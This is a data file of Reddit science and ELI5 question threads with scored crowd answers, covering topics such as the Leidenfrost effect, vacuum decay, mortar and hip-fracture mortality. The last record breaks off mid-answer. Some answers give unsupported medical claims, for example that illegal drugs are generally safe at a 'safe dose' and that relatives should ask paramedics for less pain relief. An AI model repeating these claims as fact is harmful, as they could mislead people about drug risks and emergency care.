{"q_id": "2pncte", "title": "What causes water drops in a hot pan to \"glide around\"?", "selftext": "For example, when I finished cooking scrambled eggs, I washed my hands and accidentally splashed a little water into the pan from my hands and it all collected and then sort of just skated around as I tilted the pan to and fro.\n\nEdit: Engrish", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2pncte/what_causes_water_drops_in_a_hot_pan_to_glide/", "answers": {"a_id": ["cmy9xtw", "cmyaqnj", "cmym8g5"], "score": [28, 19, 2], "text": ["Because it's hot enough that the water doesn't actually touch the pan. Rather, the water is evaporating from the bottom, and there is a little vapor layer between the drop and the pan. The water droplet is basically floating a very very short distance above the pan, and because it's not making contact with the pan, there's basically no friction so it's free to bounce about. ", "The effect you're looking for is known as the Leidenfrost Effect. VeryLittle basically described it perfectly though.\n[Here's a paper](_URL_0_) describing it very in-depth if you're curious.", "This is called the Leidenfrost Effect.  It is caused when the pan is so hot that upon contact, some of the water boils so quickly that it causes a layer of steam to form below the liquid droplet.  This insulates the liquid, slowing down the rate of boiling, and also provides a low-friction surface to \"glide\" around on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wiley.com/legacy/college/phy/halliday320005/pdf/leidenfrost_essay.pdf"], []]}
{"q_id": "18t9vt", "title": "According to this news article, the recent discovery of the Higgs Boson at an energy level of 125gv suggests the universe will end in 10 billion years in a big slurp.  Is this true?", "selftext": "Article:  _URL_0_\n\nThis doesn't make sense to me, but 10 billion years seems like a very short time-scale on the cosmic level.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18t9vt/according_to_this_news_article_the_recent/", "answers": {"a_id": ["c8hrzf4", "c8hu78x", "c8hxr4l", "c8hzo8w", "c8hzrmx", "c8i7ceb", "c8i7gpg"], "score": [800, 23, 25, 4, 7, 2, 2], "text": ["It depends. The phenomenon that's being described there is vacuum decay. Let me explain:\n\nThe Higgs field has a potential. We are now sitting in a local minimum of this potential, and the value of the field in this local minimum is what determines most the physics that we see around us.\n\nWhen you take into account quantum corrections, there can be another minimum forming in the potential, far away from where the value of the Higgs field is right now. Something like [this](_URL_1_). Depending on the mass of the Higgs and whichever physics happens between the standard model and the Planck scale, this new minimum can have a lower energy than this one, and we call it the true vacuum.\n\nIf you think classically, a ball that's sitting in the false vacuum can only go the true vacuum by being kicked hard enough to pass the potential barrier, but quantum mechanically, it can just wait enough time and it will tunnel. It turns out that our vacuum can also tunnel to a different vacuum if this new vacuum has lower energy and we wait long enough.\n\nRight now, the status is that our vacuum is metastable, meaning that the typical decay time is calculated to be longer than the age of the universe. This implies that if if we wait long enough, eventually we will end up in the true vacuum. The way that this decay happens is through [bubble nucleation](_URL_0_), which is very much like a bubble of vapor forms and expands inside an overheated liquid.\n\nMost likely there is more to this, since this meta-stability calculation assumes that there is no more physics between the SM and the Planck scale, which is a very artificial assumption. The second detail is that we have a cosmological constant that plays a very important role in our vacuum energy, and we have no idea what it is.", "I don't know more than anyone else who pays attention on AskScience about subatomic physics or cosmology, but I found the mention of being 'at the edge of stability' in the article interesting.  I've done a great deal of reading on the topic of complexity, chaos theory and the like.  Complexity science is still an extremely young field, and there is not a large body of general principles that apply across complex systems yet.  One of the few things that is known, however, is that complexity exists precisely at the edge of 'stability', or rather, just in front of chaos on the scale from order to chaos.  Too much order and complexity can not arise, too much chaos and complexity can not arise (though this may simply be an artifact of our own capacity to understand things only to a certain level of complexity, but that's a personal opinion, not anything proven).  As systems transition from ordered states toward chaos they go through increasing degrees of 'period doubling' until the period of any given change in the system amplifies even the tiniest difference between two systems into complete difference.  This makes it impossible to predict the system without actually perfectly simulating (impossible for various reasons, including fundamental physical ones) the system.  That is chaos.  It would only make sense for our universe to exist on this breaking tide washing into chaos.  Nothing we can understand as sensible can arise or persist elsewhere...", "Maybe, **if** certain details about Higgs turn out to be just right, which is not clear at the moment. What we know about Higgs places it right on the cusp of satisfying those conditions, but more data is needed. And the LHC will be down for a couple of years.\n\nThen, even if it does fall in the right range, it's still a theoretical assumption for the most part.\n\nTLDR: Journalists jump to conclusions an awful lot. Relevant:\n\n_URL_0_", "So, assuming the appearance of these lower energy state bubbles are local events, rare enough, and only expanding at the speed of light, wouldn't this mean that only parts of the universe would ever fall \"into\" them? As far as I understand, the space is expanding and will keep on doing so (at an increasing rate, even), so effectively the universe could keep on \"feeding\" these bubbles more space than they could ever conquer. The expansion of space itself would sort of limit them as local collapses, even if they keep on expanding forever, as the space around them would still be expanding at a higher rate -- anything at a given distance from any given bubble when it comes into existence would be permanently safe from that one, at least.  Given enough time it would become increasingly likely that another bubble appears too close to escape, however, so I'm not sure that's much of an escape in the long run. \n\nOr am I somehow failing to wrap my mind around this?\n\n(The eventual heat death of the universe, however... It seems that either way, universe-killer bubbles or not, we're screwed at *some* point in the distant future. And by \"we\" I mean anyone and anything that exists above the level of elementary particles.)", "I would love to see some more calculations regarding the probabilities here. So I'm guessing that in roughly 10 billion years, the odds of the transition approaches 1, but surprisingly uncommon things happen all the time. \n\nIf any mathematicians have some spare time, it'd be awesome to see a table of \"the odds the universe ends in X years\". Bonus points if zany comparisons are given like, \n\n >  In 60,000 years, the odds the universe blinks out of existence will be about the same as winning the Powerball during every drawing for the next 100,000 drawings.\n\nSomething like that :)", "Threads like this are why /r/askscience is my favorite spot on the Internet.\n\nThanks to all you science and math jocks for weighing in here... there's hours' worth of fascinating reading that can be launched from this discussion, and I truly love soaking this stuff up. \n\nEven when the news is that we might just blink out of existence at any moment. What a rush!", "Doesn't this suggest that if sometime in the future our universe might be encompassed by an ever-expanding bubble from within, that our universe could be right now doing the same to another?  That we're actually in the midst of overtaking another universe that we may someday be able to see once our telescopes pass that 14-billion light year barrier.\n\nAlso, I can't possibly be the first to compare this \"bubble of true vacuum [that] could nucleate somewhere in the universe and move outwards at the speed of light\" to a Big Bang."]}, "title_urls": [], "selftext_urls": ["http://cosmiclog.nbcnews.com/_news/2013/02/18/17006552-will-our-universe-end-in-a-big-slurp-higgs-like-particle-suggests-it-might?lite"], "answers_urls": [["http://en.wikipedia.org/wiki/False_vacuum#Bubble_nucleation", "http://upload.wikimedia.org/wikipedia/commons/thumb/9/9b/Falsevacuum.svg/240px-Falsevacuum.svg.png"], [], ["http://www.phdcomics.com/comics.php?f=1174"], [], [], [], []]}
{"q_id": "bsvuxq", "title": "why doesn\u2019t the runners high damage the body in the same way repeatedly taking a drug would", "selftext": "If a runners high arises when the body produces endorphins while running, why doesn\u2019t this damage the body / have negative effects in the same way taking a drug (say, some drug which also produces endorphins in the body) would?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bsvuxq/eli5_why_doesnt_the_runners_high_damage_the_body/", "answers": {"a_id": ["eor0hcv", "eor19os", "eor21e6"], "score": [3, 16, 5], "text": ["If you were to compare the euphoria of meth vs a runners high, the meth wins by about 1000 times.\n\nIt's not so much the drug that does the damage but the withdrawal and means to reintroduce the drug into the system.", "The endorphins produced by your body have a very specific pharmacological profile. Aka they interact with receptors in a controlled manner and are designed by your body for your body. They are always at safe levels and have feedback loops to ensure this.\n\n & #x200B;\n\nOpioid drugs, although very similar to endorphins from your body (endogenous), have slightly different pharmacological profiles, interacting with different receptors by different amounts, and that means they can have unwanted side effects. However, taking drugs within the safe dose (legal or illegal) is generally safe - drugs are really  only ever harmful when people take too much or mistake them for something else (still boils down to taking too much, just for a specific reason). Aka you can take too many drugs because its not your body producing them and making \"just enough\". too much exercise = limited endorphin response, too much cocaine = no limit, whoops you're having a seizure on the floor.", "Consider it like this.. \n\na jogging high is like riding a small pony.. it's pretty cool and when you fall off the pony you have a small drop to the ground.. \n\nCrystal meth high is like riding a flying dragon through the skies over a volcano during a lightning storm.. its fucking crazy and when you fall off you land in the volcano and feel like your dying lol"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "17v3tk", "title": "On a physical/chemical level, how does mortar hold bricks together?", "selftext": "Quick google search couldn't give me satisfying answers.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17v3tk/on_a_physicalchemical_level_how_does_mortar_hold/", "answers": {"a_id": ["c8944c6", "c895i0e"], "score": [10, 3], "text": ["Lime mortar is a mixture of [limewater](_URL_1_), sand and water. [This powerpoint slide goes into detail about the chemistry](_URL_2_), but essentially, the lime and water reacts chemicaly with carbon dioxide in air to form [calcium carbonate](_URL_0_). It is this calcium carbonate mineral which forms the strength of the mortar. The calcium carbonate is of course in a mixture with much larger sand grains, so in a sense the sand grain act a bit like tiny bricks surrounded by mortar.\n\n[This powerpoint slide goes into a lot more detail.](_URL_2_)\n\nAnd [section 3 of this page from the University of the West of England](_URL_3_) gives some background to the process.", "It's worth noting that generally the mortar isn't particularly strongly attached I the bricks. Like the bricks, cured mortar is strong in compression, but doesn't do much to resist tension forces. If you get a lateral force against a brick wall, the mortar doesn't do much to strengthen it. The mortar really just makes it easier to stack masonry units and fill in gaps. It creates a little bit of play to help align things and straighten things out compared to just dry-stacking stones. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Calcium_carbonate", "http://en.wikipedia.org/wiki/Limewater", "http://web.abo.fi/fak/tkf/vt/aceme10/6-3%20%C3%96zlem%20Cizer_ACEME10.pdf", "https://environment7.uwe.ac.uk/resources/constructionsample/Conweb/walls/mortar/print.htm"], []]}
{"q_id": "4zcea8", "title": "why is the precision of ballistic missiles and similar military equipment so difficult to achieve in our gps-dominated world?", "selftext": "Like recently stated in the news?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4zcea8/eli5_why_is_the_precision_of_ballistic_missiles/", "answers": {"a_id": ["d6ukvwx", "d6ul19p", "d6v5xac"], "score": [2, 6, 2], "text": ["Can you provide a link to the article you are talking about? your \"difficult to achieve\" needs context to better answer. Big difference between how difficult it is for countries like the US, and say, North Korea.", "GPS is an American military system. There are functions which are locked out from general use, such as accurate locations at high speed or altitude. Extremely accurate GPS locations can be found if you are willing to wait such as with surveying.", "Most of the other responses have been about the limitations of GPS as it applies to ballistic missiles and that stuff all seems pretty good.  However, there are also just engineering issues with building an accurate ballistic missile that you'd face even if you had access to \"perfect\" position data.\n\nFor instance, when you send the rocket's motor the signal to shut off there's still going to be a bit of fuel in the lines and so on so the rocket will run on its own for a moment before it actually shuts off.  It's impossible to know exactly how much thrust it will produce during this period and counter it by shutting off a bit earlier. Early US ICBMs like the Atlas had vernier thrusters that would continue to run for a bit in order to bring the final velocity closer to the exact figure desired. This works pretty well but it means you have to have 3 rocket motors that all work right rather than just one and if you're kind of shitty at building rockets this accuracy vs. reliability trade off might not be worth it.  More modern designs feature shaped charges built into the combustion chamber on the upper stage in order to destroy the engine at the exact moment that it's reached the correct velocity, steerable payload buses that can change direction after the upper stage has burnt out, or both.  These also (obviously) work, but at the cost of added complexity.\n\nRocket science is fucking hard."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "18fme7", "title": "I remember reading that women have more pain receptors then men and thereby feel more pain than guys, is there any truth to this?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18fme7/i_remember_reading_that_women_have_more_pain/", "answers": {"a_id": ["c8el6jl"], "score": [2], "text": ["[You're probably thinking about this](_URL_0_), a Stanford Medical school study that found women reported higher levels of pain \"across the board\" for ailments than do men.\n\nThey did not, however, investigate some underexpression of pain receptors in men than in women."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://med.stanford.edu/ism/2012/january/butte.html"]]}
{"q_id": "19o75g", "title": "Can anything similar to the phenomenon we call acids and bases exist in a solvent other than water?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19o75g/can_anything_similar_to_the_phenomenon_we_call/", "answers": {"a_id": ["c8pt1u9"], "score": [7], "text": ["yes. an acid is a proton donor, a base is a proton acceptor (by the bronsted lowry definition). In organic solvents such as alcohol, acetone, etc, you can still have proton exchange even though water is not present. For example while in water you have hydronuim H30+ and hydroxide OH -, in ethanol (CH3CH2OH) you can have CH3CH2OH2+ and CH3CH2O- species"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f18h1f", "title": "why do 50% of people who break their hip die within a year of doing so? what is the connection to breaking your hip and dying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f18h1f/eli5_why_do_50_of_people_who_break_their_hip_die/", "answers": {"a_id": ["fh2ivhr", "fh2iw1j", "fh2l738", "fh2mcik", "fh2ptzp", "fh378a9", "fh3e8vs", "fh3y701", "fh451k0", "fh492kl", "fh49kgh", "fh4dl3u", "fh4f89h", "fh4jek2", "fh4lk5q", "fh4odfu", "fh4pg16", "fh4pt4r", "fh4r0h1", "fh4t07d", "fh4tenl", "fh4xanu", "fh4xcrz", "fh55sg2", "fh585b8", "fh5ea4h", "fh5fb29", "fh5ffqj", "fh5fyg3", "fh5obdz", "fh5ols6", "fh5owmb", "fh67nns", "fh6eeth", "fh6j35p", "fh6o8vn", "fh6vnep", "fh6z1iy", "fh73iob", "fh76qrp", "fh7cnbb", "fh7eze9", "fh7fs5s", "fh7p4gd"], "score": [287, 16, 4, 11941, 344, 19, 20, 2, 2, 2, 5, 12, 8, 3, 36, 5, 2, 5, 3, 2, 3, 2, 3, 3, 2, 2, 5, 2, 2, 2, 3, 2, 105, 3, 3, 2, 3, 3, 2, 2, 2, 2, 2, 3], "text": ["This is a classic error. Don't mistake correlation for causation.\n\nLet me give you an example. Suppose I told you that sunglasses sales went up and down when ice cream sales went up and down. Does wearing sunglasses make you want ice cream? Or maybe does eating ice cream make you want to wear sunglasses? Not necessarily. Maybe they both have a common cause; hot, sunny weather.\n\nDitto for breaking your hip. Do young people tend to break their hips? Not really; it's hard to do. Who does? Usually, the elderly; people who are more likely to die anyway, and who have a harder time recovering from illness and injury. There isn't necessarily a direct connection between breaking your hip and dying; but there is a connection between being elderly and breaking your hip, and being elderly and dying.", "Answer: \nThis statistic is not a direct correlation. But caused by another factor. Basically if you break your hip you wont necessarily die within 6 months because of the broken hip. But as a result of a common factor - in this case age. Elderly people break their hips much more than younger people. And they are also more likely to die. \n\nElderly people are more likely to die after a broken hip due to factors such as trauma from surgery, health conditions, internal bleeding or the time it takes to heal. These all make recovery harder and death more likely.", "Elderly people have lower immune system efficiencies. \n\nBroken hip requires hospital visit.\n\nHospitals house communicable diseases, namely pneumonia. Community acquired pneumonia from hospital visits can be often lead to death. \n\nA broken hip may have been due to rheumatism. Common drugs used to treat rheumatism are immunosuppressants.\n\nLow immune system + disease = greater risk of death\n\nThere are other reasons too.", "Several reasons. For one, people who break their hips tend to be quite elderly, and elderly people are at very high risk of dying for a lot of reasons. This is a correlation, not causation, as some people have pointed out.\n\nBut there ARE causational factors too. An elderly person who breaks their hip will often have to go into the hospital to get surgery or other kinds of treatment. Surgery is always risky and can cause infections and other complications, but especially in the elderly who have less well-functioning body systems in general. Prolonged hospital stays also increase the risk of infection by the nasty kind of bugs that tend to hang around in hospitals, like pneumonia, C difficile, or MRSA--and again, elderly people are more vulnerable.\n\nFinally, being immobilized for along period of time (as **[edit]** CAN happen if you don\u2019t get the right kind of recovery treatment) as well as the actual trauma of surgery puts you at huge risk of having blood clots that form in your legs, especially when you're elderly! These blood clots can then travel into your lungs and cause pulmonary embolisms. This is a HUGE cause of death in hospitals\u2014it\u2019s the most common reason why people die after surgery [Edit: I originally said it was 1/3 of all hospital deaths but that doesn\u2019t seem to be correct. Apologies!]", "Hip fractures are commonly associated with frequent falls. Falling a lot suggest a number of things - decreased strength, decreased balance, maybe decreased judgement, maybe impaired neurological function, remodeled bones from non-use, and overall poor function in general.  In a word: Frail.\n\nAfter a major injury like a traumatic hip fracture, in order to recover there needs significant and concerted effort for rehab - which of course is a tall order in a person who is having falls to start. In memory patients, for instance, they can not remember enough to make any progress. Regardless, in that 6 weeks to a few months a lot more atrophy tends to set in. Function declines further. Bowels stop moving. Complications associated with immobility, UTI's, pneumonia, GI problems, problems from DVT prophylaxis (anticoagulation) are common.   There may not be a direct causation, but there are multiple inter-related issues along with initially poor function marking hip fracture as a frequent terminal event.", "My grandma was very active in her late 80's still walked to get a paper from the shop \n\n until she broke her hip the lack of confidence and mobility while recovering took it's toll on her she died 6 months later", "Most people who break their hips are elderly, and quite a few surely have other health issues. They're likely frail, and may not rebound or be able to heal the break and rehab it.\n\nIt's sad.\n\nMy grandma, who lived down the road from me all my life, had a stroke the day before my birthday a couple of years ago. I was there when it happened, and helped her a lot afterwards.\n\nShe couldn't talk as well, and couldn't walk that well, but did impressively well for herself post-stroke. My grandparents would come up for supper upwards of 3 or 4 times a week, or would bring us takeout. Every time she came up, or we went out for supper, I would hold her arm and help her. \n\nOn an icy and wintry weekend, we got a call saying she'd fallen. My dad rushed down and got an ambulance called. She had gone to the washroom, fallen and broken her hip. There were no stairs involved. Oddly enough, she'd been out for supper and to our house the past two icy nights, but I'd helped her and she hadn't fallen. We assume she had another stroke then, but do not know.\n\nShe was sleeping so much at that time, even at home, that the broken hip was unfortunately like a death spell to her. They operated on it, and she spent a while in hospital, but she wasn't strong or awake enough most days to get up and do any rehab, and unfortunately passed away in hospital.", "I believe the connection is something along the lines of \"the thigh bone connects to the hip bone\" /s\n\nlots of solid answers here my take is mostly correlational. certainly breaking your hip by total accident in an otherwise totally healthy person shouldn't lead directly to death. It could but it's unlikely.  And 50% of people who break their hip don't die, so it's not exactly a death sentence. But not walking for several days and lying in a hospital bed could kill you all by itself.", "People who tend to fall and break their hips are often already frail with other health issues. It\u2019s often a sign of physical decline and the high death rate reflects that.", "I think the statistic is worse than that. I recall it being 80% mortality within 6 months. Cant remember where i came acro2as it.", "What is your source on that figure?", "I heard a doctor talk about how people say an old person fell and broke their hip, when in actuality, a lot of the time they fell because their hip broke.", "I think it\u2019s worth mentioning that most of the time people don\u2019t fall and break their hip, their hip breaks and causes them to fall down. The femoral head that is your hip joint can collapse for many reasons. Age is a typical reason but younger people can have a lack of blood flow (AVN) to this joint or an injury like from sports. When that ball looking part collapses its causes serious pain. The solution is a hip replacement surgery.  I know many other comments said that people are bedridden after a \u201cbroken hip\u201d but after a hip replacement surgery you are not bedridden. You are supposed to be up and walking within a few hours of surgery. Your sole physical therapy is walking and laying in bed is not recommended at all.\n\nNow if you\u2019re talking about some type of pelvic bone break, I\u2019ve got nothing.", "You're actually talking about a special kind of hip fracture - fragility fractures. And yes, the percentages of morbidity and mortality are very high for those injuries because the people get them have to be quite frail for their hips to break from simple falls.  It's the frailty, not the fracture.\n\nThere's also studies that show that every extra day in the hospital waiting for surgery increases their mortality too (prob due to immobility, thrombosis, pneumonia, etc).  Although those studies are flawed because if you're so unhealthy/frail you can't get surgery immediately, of course you're more likely to have a bad outcome.", "This correlation is part about what it says about your health if you break your hip and part about the consequences of a hip fracture.  \n & nbsp;  \nWhat having a hip fracture says about your health: there are two ingredients to a hip fracture, thin bones and a fall.  If you are missing either of these then you won't have a hip fracture.  Falls means you are frail - often less muscle mass, poorer nutrition and may have poor balance.  People with thin bones (osteoporosis or osteopenia) are also more likely to have multiple health issues causing this.  \n & nbsp;  \nA hip fracture means a major surgery is needed which has a lot of potential complications: high risk of surgical complications, infection, blood clots, bedsores etc.  Given it's the frail people who have the fractures, they don't have much strength and are more likely to die from a complication. Elderly people have a significantly lower immune system.  For people who have major health issues such as heart or kidney problems the fracture and surgery can worsen these problems temporarily and not everyone it physically fit enough to get through that.  \n & nbsp;  \nsource: I'm a doctor", "Not sure if this has been said but most (many?) elderly who break their hips aren\u2019t from falls - their hip breaks, then they fall. Brittle bones.", "Old age is the connection. \n\nMy jncle has broken his hip twice and it\u2019s been 10 years since and he hasn\u2019t died. It\u2019s old age that is the reason why people die after a broken hip. \n\nOf course there are people who get infection and don\u2019t know about it/don\u2019t get it treated which could cause death after a broken hip, but mostly it\u2019s just because people are opd and have bad mobility.", "[Are hip fractures caused by falling and breaking or breaking and falling? Photoelastic stress analysis.](_URL_0_) \n\nI read a similar article to this years ago. The TLDR is that elderly people aren\u2019t always falling and breaking their hip. \n\nTheir hips are breaking and they fall because of it. It has to do with a few things such as weakening bones and the fact that the femur is the strongest bone in your body which puts lots of stress on the hip. \n\nSo it\u2019s very likely that the mortality rate is high not because of the specific injury, but the condition of their bodies that causes an injury like this to occur.", "Older people don\u2019t \u201cbounce back\u201d as well as younger people. My FIL just broke his about a month ago. He has Parkinson\u2019s w/dementia so right off he has the cards stacked against him. He was luck the break was able to be replaced instead of repaired though o technically he could bear weight as soon as he woke up. We had been looking at a nursing home before and luckily the one he and mainly his wife wanted had an opening 3 days after getting out of hospital.\n\nEdit: also immobility can lead to all kinds of issues he was developing bedsores from having to wear adult diapers in the hospital.", "Also length of time before being found is obviously a factor. If you're down a while, it can damage organs. The elderly also frequently head their head when they fall, which obviously makes things worse. You can also think about \\*why\\* someone fell- were they confused? Were they doing more than they should? If those underlying factors aren't addressed, chances are good they will fall again.", "I broke my hip at age 47.  My surgery was successful, but I had to inject myself with blood thinners to prevent clotting for about 10 days afterward.\n\nMy surgeon was very surprised at my age, saying that he normally treats \u201cpeople in their 80\u2019s\u201d.\n\nGoing through it at a (relatively) young age, I can just imagine what it would be like for an elderly person.", "Both my grand mother on my dads side and my grandfather on my moms side broke hips and died. Hers started a total decline that lasted about 6 months until she ultimately died of liver and heart failure. He broke his hip and went to the hospital. 2 days later got a staph infection and was gone. I think its more has to do with the age and there ability to handle multiple attacks on there immune system.", "Reminded me of my grandmother.\n\nAge 97. Pretty darn healthy for her age, had only given up the cane for a walker the year before, and up until then she basicly did all the chores herself (except that my aunt helped her do major cleaning every few weeks). Although her memory wasn't as sharp as it used to be.\n\nThen she fell and broke her hip.  A week after her surgery she had a minor stroke; her short term memory was shot and she needed a wheelchair from then on. Had to live in an elderly home from that point. Passed away two years later at the age of 99 years and 11 months. Went into a coma and died in her sleep 3 days later (the family took turns to be with her).\n\nDunno if she died because her body couldn't hold up anymore or if it was because she was so damn stubborn (she was the most stubborn person I've ever met). For the last 15 years (ever since grandpa died) she had been saying that she was ready to go when that moment came but she refused to become 100 years old, and true to her promise she didn't.", "Being old\n\n & #x200B;\n\nStupid bot thinks 'being old' doesn't answer the question \"**Why do 50% of people who break their hip die within a year of doing so? What is the connection to breaking your hip and dying?\"** when it clearly does.  Up yours bot.", "Nurse here...we get you up and moving as soon as possible post surgery.  In the nursing home we try and walk with residents daily ...at home you should do this as well.", "Muscle atrophy with age (sarcopenia) is very dangerous. You lose reflexes, ability to exercise, independence and enjoyment in life. \n\nDepression and stress set in on your mind and body, which makes it even harder to exercise or perform tasks you used to be able to do. \n\nThiis leads to a fall or occurs as the result of a fall. And the downward spiral is fast. Muscle loses its regenerative abilities as you age, and snapping back from atrophy becomes impossible. \n\nIf you dont use it you'll lose it becomes your actual lifeline in old age. \n\n\nThe problem is with a fall/hip fracture type injury an old person will lose a lot of muscle that is almost impossible to get back. This is also closely associated with depression and fear of falling again, which further slows rehab. \n\n\nSource: I'm writing my dissertation on sarcopenia right now.", "Someone I know broke her hip at an old age and died 4 years later. She was immobilised and after 2 years of staying in bed her mental ability diminished to the point she could barely talk. Pretty bad stuff. I can\u2019t remember the cause of death but it all started when she fell one day and broke her hip and went downwards from there. She never walked again because her legs couldn\u2019t hold her anymore.", "Thirty years ago my *extremely* active grandmother fell off a curb at UberMart and onto the adjoining parking lot at the age of 75 in Phoenix, AZ.  June.\nIt took 30 minutes for the ambulance to arrive, in part because she was just \"a little old lady\" and ageism.  By then she had third degree burns over a third of her body.\nShe died six months later.\n\nTL, DR: Break your hip, you have a six-month death sentence.  Adjust for who is currently President.", "They couldn\u2019t move with the tribe. Couldn\u2019t hunt. They fall behind. Predator takes them.", "As someone who just lost a grandparent for this reason 6 months ago, it's not necessarily the breaking of the hip that is the problem.   In elderly patients, anesthesia can cause and perpetuate dimensia.  Then that can cause more complications and organ failure.", "My 71 year old mother, who is very healthy, just broke her hip before Thanksgiving.  She wouldn't have broken it if her bones weren't weakened from Prednisone she used to take for an autoimmune disorder.\n\nThey had her up and moving right after surgery, and sent her home ALONE two days after.  They sent physical therapy to her house.  My sister and I babysat her for about two weeks, making sure she didn't fall and did the cleaning and shopping, but they were very clear that she should do as much as possible on her own.\n\nNow, you wouldn't even know she broke it.  She healed super fast because she moved around so much.  If she was overweight or had diabetes, it would've probably been a different story though.\n\nMy 97 year old grandmother fell and broke her hip a few weeks ago.  We all thought the worst as she broke her hip/leg in two places and damaged her spleen falling on a coffee table.  Nope, she's in a rehab facility, still kicking, wheeling herself around helping other patients.  The dementia is going to kill her before the skin cancer she has and anything else at this point.", "The connexion is likely corolative, not causative. \n\nProbably the majority of people who break thier hip are very old and feeble. Their hip breaks because of this and they die soon afterwards because they were very old and weak anyway.\n\nAnd those young people who break their hip - since it's very difficult to break your hip if you're young and strong - probably do so in some catastrophic accident which also induces other, more life-threatening injuries.", "Orthopedic surgeon here.\n\nYou have to break this into two groups. Low  energy hips fractures vs high energy hip fractures. Low energy hip fractures mean that the patient fell from a low height and broke their hip. That means their bones have failed. Just like any other organ system. You wouldn\u2019t be surprised if you heard 50% of patients that presented with liver failure died.  \n\nThese patient have a high mortality rate. They are frail and their health is declining. In fact the only way to decrease said rate is operating and having them get up and walk as soon as possible. \n\nHigh energy hip fractures happen in younger healthier patients and their mortality rate is based on other concomitant injuries. If they only have a hip fracture their mortality is quite low.", "If you want to reduce the risk of elderly people braking their hips, remove rugs from their homes. Rugs are a major trip hazard", "i guess my grandma was lucky because she broke her hip, recovered and lived another 10 years", "As a son to a (late) orthopedic surgeon, I remember my dad telling me that actually the really really old people who had joint replacements faired better than the younger elderly.  i.e. 60-70 year olds vs 80-90 year olds. Not sure if that was ever a thing but it\u2019s just something he observed over the 45 years he was a surgeon.", "Apart from the items already mentioned, there is an often overlooked part of the process of breaking one's hip, etc., that has a big affect on patient mortality rates arguably.  This variable relates to how well/whether or not the person can come out of the morphine/anti-pain induced pseudo-coma/unconsciousness easily and/or at all.  \n\nA lot of older people don't have super duper heart strength and nerve strength per se, at said point in their life, and when you have the central nervous system, which is connected of course to the autonomic nerve system associated with the heart/lungs etc., being numbed/damped by pain-killers, which are essentially often sort of \"nerve-retardants\" this can create some major issues.  \n\n & #x200B;\n\n***TLDR***; coming out of the \"numbness\"/sedation of larger doses of pain killers can be hard for older people.  At times, people will be sedated on the way to the hospital, and hence lose consciousness and never \"regain\" consciousness even after several days, hence the ensuing \"pull the plug or don't pull the plug\" discussion, which may very well often result in a \"pull the plug\" verdict.  \n\n\\---If you ever have a relative break their hip and you are there, it is perhaps a good idea to, try to calm them down, and also very importantly, to encourage them(and to request of the paramedics) to have them just deal with a little more pain and anxiety, and to perhaps be given a little less sedative/pain killer if possible.  Otherwise the pain killer may in a sense kill them.", "Broken hips require hospitalization. Hospitals are death traps. They can treat you for all the harms they cause, but you can end up in a death spiral. The longer you're there, the more likely it is you'll die there.", "I'm a fan of a saying from one of the PTs I used to work with:\n\nBeds kill people - especially old people. If you want to live to see triple digits only get in bed to sleep. \n\nYour body functions best when you keep it moderately active. Hip replacements / breaks mean massive time with limited to no activity and a lot of bed rest for a population where excess rest is accelerating their deterioration.", "Breaking your hip usually means you're physically frail. Some longevity doctors use the \"get up without using your hands\" test to determine physical dexterity in old age. It's one metric that show an increased lifespan for those who are nimble in middle- and old age. [_URL_0_](_URL_0_)", "I work in a trauma theatre in a UK hospital where roughly 2/3 of our (trauma) patients who come to theatre are admitted due to hip fracture.\n\nOften these patients have multiple other things wrong with them, commonly due to their age, and if there was a practical alternative to surgery to help their pain they probably wouldn't have an operation. We regularly operate on people over the age of 80, 90, 100 who are often demented and/or suffering from heart and lung problems. Anaesthetists wouldn't usually touch them with a barge pole.\n\nSurgery to fix hip fractures is not a minor procedure, often losing a decent amount of blood (patients commonly on blood thinners, and it is not possible to use a tourniquet for these operations). Given that these patients might have cardiac issues, anything that puts extra strain on their heart can be problematic - blood loss, low/high blood pressure due to meds given/spinal anaesthesia/distress etc. Also if we are replacing the ball of the hip joint we use cement in the middle of the femur; the pressure from this can wreak havoc with blood pressure.\n\nIt is common for patients to have a 'do not attempt resuscitation' notice in their notes where we wouldn't do anything short of wacking a load of fluid in to try to bring them back. In certain circumstances this does seem like a pretty good way to go if they were to succumb. Often these patients' quality of life is sub-optimal.\n\nWe try to do these procedures under spinal anaesthesia as patients who are given general anaesthetic often wake up in a worse cognitive state than pre-op. This isn't always the case so some inevitably do go off to sleep for the op which often seems to sadly speed up their demise.\n\nAll in all, while the mortality rate isn't great, it certainly is worth fixing these injuries. And, on a side note, these patients are often my favourite to look after.", "Loss of mobility is one of the key factors. Many elderly people can just barely get up in the morning, do their chores and take care of themselves. This little activity is keeping it all together. It makes sure their aging lungs are well ventilated. It keeps their heart in training, it keeps them from getting thrombosis and bed sores. It makes sure the muscles stay strong enough to get up and walk around. \n\nIf they break their hip, this house of cards just collapses. It's not even the surgery or anesthesia itself. But after surgery, they're often tired and in pain. They can't get up and then decay immediately sets in. Without the daily training, the muscles rapidly become weaker, making it even harder to get up. The shallow breathing due to lack of activity causes atelectasis and pneumonia, a very common occurrence in hospitalized elderly patients. Pneumonia weakens them further and prolongs their hospital stay and their immobility.\n\nIf they had mild dementia before, it can get way worse due to the sudden change of environment, different daily schedule, the pain and the trouble sleeping at night due to constant disturbances.\n\nAll in all, the wound may heal just fine, the bone will be fixed but the circumstances cause the patient to die because they just can't get back to their initial level of fitness and mobility.\n\nThe cause of death is often pneumonia, which is caused by the prolonged immobility.", "The majority of people who break a hip are elderly, first of all. \n\nDepending on how badly the hip is broken, there is extensive recovery 